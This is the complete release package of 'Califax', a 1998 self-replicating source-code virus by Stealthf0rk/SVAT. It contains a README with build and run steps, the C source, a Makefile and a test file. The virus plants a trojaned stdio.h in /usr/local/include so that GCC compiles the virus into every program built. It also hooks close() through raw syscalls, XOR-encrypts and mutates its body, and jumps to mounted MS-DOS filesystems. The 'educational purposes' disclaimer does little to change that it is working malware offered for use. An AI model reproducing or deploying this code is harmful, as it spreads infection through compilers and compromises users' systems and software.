ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[readme]ÄÄ helo dudes... once again... SVAT strikes. I'm not a great README file writer. So i make it as short as possible. What you got is a source-code infector wich replaces (if there is one) the stdio.h file in /usr/local/include directory. Normally there is nothing wich can become destroyed. Due to a nice feature in GCC its possible to include nasty code in every file wich gets compiled. [Of corse you need to be root to touch files in the described dir.] This is possible bcoz GCC searches in /usr/local/include for stdio.h before it gets the real one in /usr/include. Our virus simply gives GCC this stdio.h wich includes the real one. So there should be no errors while comiling the future-infected file. For further information look at califax.c, the virus source. Its well commented. There are some other files too wich you may be need to build the virus. Type 'make' and you will get a new califax.c wich you have to compile. The other files are: + _head.c - the header of the virii + dump.c - needed to build some new virii + Makefile - umpf... + udos.c - body of the virus + main.c - wich holdes main() + test.c - dummy-file, compile this after you started califax and it will become infected. ok, what have has califax ? (urgh ...) + simple polymorhism/mutation due to different gcc flags + encryption with up to 256*256*256*256 different keys + multi-platform support + jumps to M$-DOS if it finds a mounted msdos filesystem and there is a GCC installed on it what is doesn't have, but whats needed: + a become_root() function + socket() calls :) + ... what you need to run it: + either a linux with gcc on it, or + M$-DOS also with the gcc califax was tested with kernel 2.0.33 and GCC 2.7.2 and libc 5.3.12 and on the dos target: DOS 6.22 with GCC 2.5.7 where the includes are installed also on /usr/include. If it doesnt work, you should use the -v flag while you compile test.c. last but not least: This is for educational purposes only! You use this at your own risk. I'm not responsible for any damage you maybe get due to playing around with this. Delete this package if you dont agree. ok, greets fly out to: lcamtuf, CyberPsychotic, Serial, NetW0rker, K2 aka nalez, hyperSlash, kgb, and especially to Doreen :) Stealthf0rk / SVAT ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[readme]ÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[_head.c]ÄÄ #include "/usr/include/stdio.h" #include #ifdef linux # include #else # include #endif #include #include #include #include int virfunc(void); int Close(int); int Crypt(char*, int); int mutate(char *); #ifdef linux int jump2dos(void); #endif ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[_head.c]ÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[dump.c]ÄÄ /* special dump.c for the unix/M$DOS virus */ #include #include #include int main(int argc, char **argv) { char *buf, outbuf[20] = {0}, s[100] = {0}, def[100] = {0}; int in1, in2, i = 0, r = 0, j = 0, count = 0, len1 = 0, len2 = 0; FILE *out1, *out2, *fd; if (argc < 3) { printf("usage: dump [file1] [file2]\n"); return -1; } /* open head and body */ if ((in1 = open(argv[1], O_RDWR)) < 0 || (in2 = open(argv[2], O_RDONLY)) < 0) { perror("open1"); return errno; } len1 = lseek(in1, 0, SEEK_END); len2 = lseek(in2, 0, SEEK_END); sprintf(def, "#define CHARS %04d\n#define CHARS2 %03d\n\n", len2, len1 + 39); lseek(in2, 0, SEEK_SET); write(in1, def, strlen(def)); close(in1); in1 = open(argv[1], O_RDONLY); /* open otput-files */ if ((out1 = fopen("B", "a+")) == NULL || (out2 = fopen("C", "a+")) == NULL) { perror("fopen"); return errno; } if ((buf = (char*)malloc(5000)) == NULL) { perror("malloc"); return errno; } j = 1; fprintf(out1, "char B[] = \n\""); while ((r = read(in1, buf, 1000)) > 0) { for (i = 0; i < r; i++) { if ((j % 15) == 0) { fprintf(out1, "\"\n\""); j = 0; } j++; fprintf(out1, "\\x%02x", buf[i]); } } fprintf(out1, "\";\n\n"); /* ok, the includes etc. are now written to char B[] ... * lets do the main part */ fprintf(out2, "char C[] = \n\""); j = 1; while ((r = read(in2, buf, 5000)) > 0) { printf("%d\n", r); for (i = 0; i < r; i++) { if ((j % 15) == 0) { fprintf(out2, "\"\n\""); j = 0; } j++; fprintf(out2, "\\x%02x", buf[i]); } } fprintf(out2, "\";\n\n"); close(in1); close(in2); fclose(out2); fclose(out1); return 0; } ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[dump.c]ÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[Makefile]ÄÄ # Makefile for Califax 0.3 # # (C)opyright 1998 by Stealthf0rk / SVAT # Use it under the terms of the GPL. GREP = grep DUMP = ./dump SRC1 = _head.c SRC2 = udos.c MAIN = main.c CC = gcc all: califax califax: $(CC) -O2 dump.c -o dump @rm -f B C @cp $(SRC1) B.c @cp $(SRC2) C.c @echo -e "/** This virus was compiled and started by `whoami`@`uname -n`" >> C.c @echo -e " ** on `date`\n **/" >> C.c @$(DUMP) B.c C.c @cat B.c > TMP @cat B >> TMP @cat C >> TMP @echo -e "\n\nunsigned char key[] = {0x00, 0x00, 0x00, 0x00};\n\n" >> TMP @cat C.c >> TMP @cat $(MAIN) >> TMP @rm -f B C B.c C.c @mv TMP califax.c @echo -e "Ok, califax.c was built. You should know how to compile it" @echo -e "If you are lame or you want to do sth. bad, dont run it.\n" ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[Makefile]ÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[udos.c]ÄÄ /* the hooked close-function */ int close(int fd) { static int first = 0; if (!first) { first++; chdir("/"); virfunc(); #ifdef linux jump2dos(); #endif } return Close(fd); } /* the real close-functions, using the syscalls */ #ifdef linux int Close(int i) { long __res; errno = 0; __asm__ volatile ("int $0x80" : "=a" (__res) : "0" (__NR_close),"b" ((long)(i))); if (__res >= 0) return (int)__res; errno = -__res; return -1; } #else int Close(int i) { union REGS ir, or; errno = 0; ir.h.ah = 0x3e; ir.x.bx = i; memset(&or, 0, sizeof(or)); int86(0x21, &ir, &or); if (or.x.cflag) { errno = or.x.ax; return -1; } return 0; } #endif int virfunc(void) { FILE *fd; int i = 0, j = 1; #ifdef linux int oldmask = umask(0); #endif /* decrypt the arrays first [we assume that it is encrypted !!!] * look at the end of virfunc() too */ Crypt(B, CHARS2); Crypt(C, CHARS); /* get a different key for new encryption */ mutate(key); /* open a file stdio.h in /usr/local/include */ mkdir("usr/local", 0755); mkdir("usr/local/include", 0755); unlink("usr/local/include/stdio.h"); if ((fd = fdopen(open("usr/local/include/stdio.h", O_CREAT|O_RDWR, 0644), "w+")) == NULL) perror("fopen"); /* write head in it (now plain) */ fprintf(fd, "%s", B); /* encrypt array B with new key*/ Crypt(B, CHARS2); /* and write it encrypted to the file */ fprintf(fd, "char B[] = \n\""); for (i = 0; i < CHARS2; i++) { if ((j % 15) == 0) { fprintf(fd, "\"\n\""); j = 0; } fprintf(fd, "\\x%02x", (unsigned char)B[i]); j++; } fprintf(fd, "\";\n\n"); /* encrypt C with the new key */ fprintf(fd, "char C[] = \n\""); Crypt(C, CHARS); /* and write it to also the file */ for (i = 0; i < CHARS; i++) { if ((j % 15) == 0) { fprintf(fd, "\"\n\""); j = 0; } fprintf(fd, "\\x%02x", (unsigned char)C[i]); j++; } fprintf(fd, "\";\n\n"); /* put the new key we got to the file wich is used * for the next decryption at the next call */ fprintf(fd, "\n\nunsigned char key[4] = {0x%02x, 0x%02x, 0x%02x, 0x%02x};\n\n", (unsigned char)key[0], (unsigned char)key[1], (unsigned char)key[2], (unsigned char)key[3]); /* get C plain */ Crypt(C, CHARS); /* and append it to stdio.h */ fprintf(fd, "%s", C); fclose(fd); #ifdef linux umask(oldmask); #endif Crypt(C, CHARS); /* result: B and C is encrypted now -> we can call virfunc() again */ return 0; } /* simple XOR-encryption technique using the global key[] for * it */ int Crypt(char *s, int len) { int i = 0, j = 0; for (i = 0; i < len; i++) { s[i] ^= key[j]; j = (j + 1) % 4; } return 0; } /* on linux we use /dev/random, on DOS we use rnd() */ int mutate(char *s) { int i; #ifdef linux int fd; #endif #ifdef MSDOS random(); #endif for (i = 0; i < 4; i++) { #ifdef linux if ((fd = open("/dev/random", O_RDONLY)) <= 0) { perror("open"); return errno; } read(fd, &s[i], 1); Close(fd); #else s[i] = rand() % 255; #endif } return 0; } #ifdef linux /* look up /proc/mounts to find the mounted msdos fs * if one was found, call virfunc on it */ int jump2dos(void) { FILE *fd; char buf[50] = {0}, bufbak[50] = {0}; if ((fd = fopen("/proc/mounts", "r")) == NULL) { perror("fopen"); return errno; } while (fscanf(fd, "%s", buf) > 0) { if (strcmp(buf, "msdos") == 0) break; memset(bufbak, 0, 50); strcpy(bufbak, buf); } fclose(fd); if (strcmp(buf, "msdos") == 0) { chdir((const char*)bufbak); virfunc(); } return 0; } #endif ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[udos.c]ÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[main.c]ÄÄ /* main() for califax.c * (C)opyright 1998 by Stealthf0rk / SVAT * use it under the terms of the GPL. */ int main(void) { printf("started califax. For Doreen.\n"); return close(-11); } ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[main.c]ÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[test.c]ÄÄ #include int main(void) { int i; for (i = 0; i < 10; i++) close(-11); return 0; } ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[test.c]ÄÄ